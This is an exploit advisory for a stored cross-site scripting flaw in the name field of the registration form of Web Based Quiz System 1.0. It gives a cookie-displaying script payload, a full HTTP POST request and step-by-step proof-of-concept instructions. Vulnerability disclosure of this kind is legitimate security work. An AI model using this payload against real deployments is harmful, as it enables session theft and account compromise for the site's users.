Web Based Quiz System 1.0 | Stored Cross-Site Scripting (XSS)

2021.04.18
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

|=========================================================================== | # Exploit Title : Web Based Quiz System 1.0 | Stored Cross-Site Scripting (XSS) | | # Author : Ali Seddigh | | # Category : Web Application | | # Software : Web Based Quiz System | | # Vendor Homepage: https://www.sourcecodester.com | | # Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html | | # Tested on : [ Windows ~> 10] | | # Version: 1.0 | | # Date : 2021-04-12 |=========================================================================== # Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe # in registration form in name parameter affected from this vulnerability. # payload: <script>alert(document.cookie)</script> # HTTP POST request POST http://localhost:8080/quiz/register.php HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636 Content-Length: 690 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/quiz/register.php Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er Upgrade-Insecure-Requests: 1 -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="name" <script>alert(document.cookie)</script> -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="email" test123@gmail.com -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="password" Hacker -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="college" hello -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="submit" -----------------------------283640616528311462411171270636-- POC: # Step 1 : go to url http://localhost:8080/quiz/register.php # Step 2 : then you have to fill the above payload in name/username parameter # Step 3 : then fill the remaining details # Step 4 : then click submit # Step 5 : then login to user account # Step 6 : then attempt any one quiz after attempting go to ranking section then # Step 7 : you can see xss pop up there..! |=========================================================================== | # Discovered By : Ali Triplex |===========================================================================


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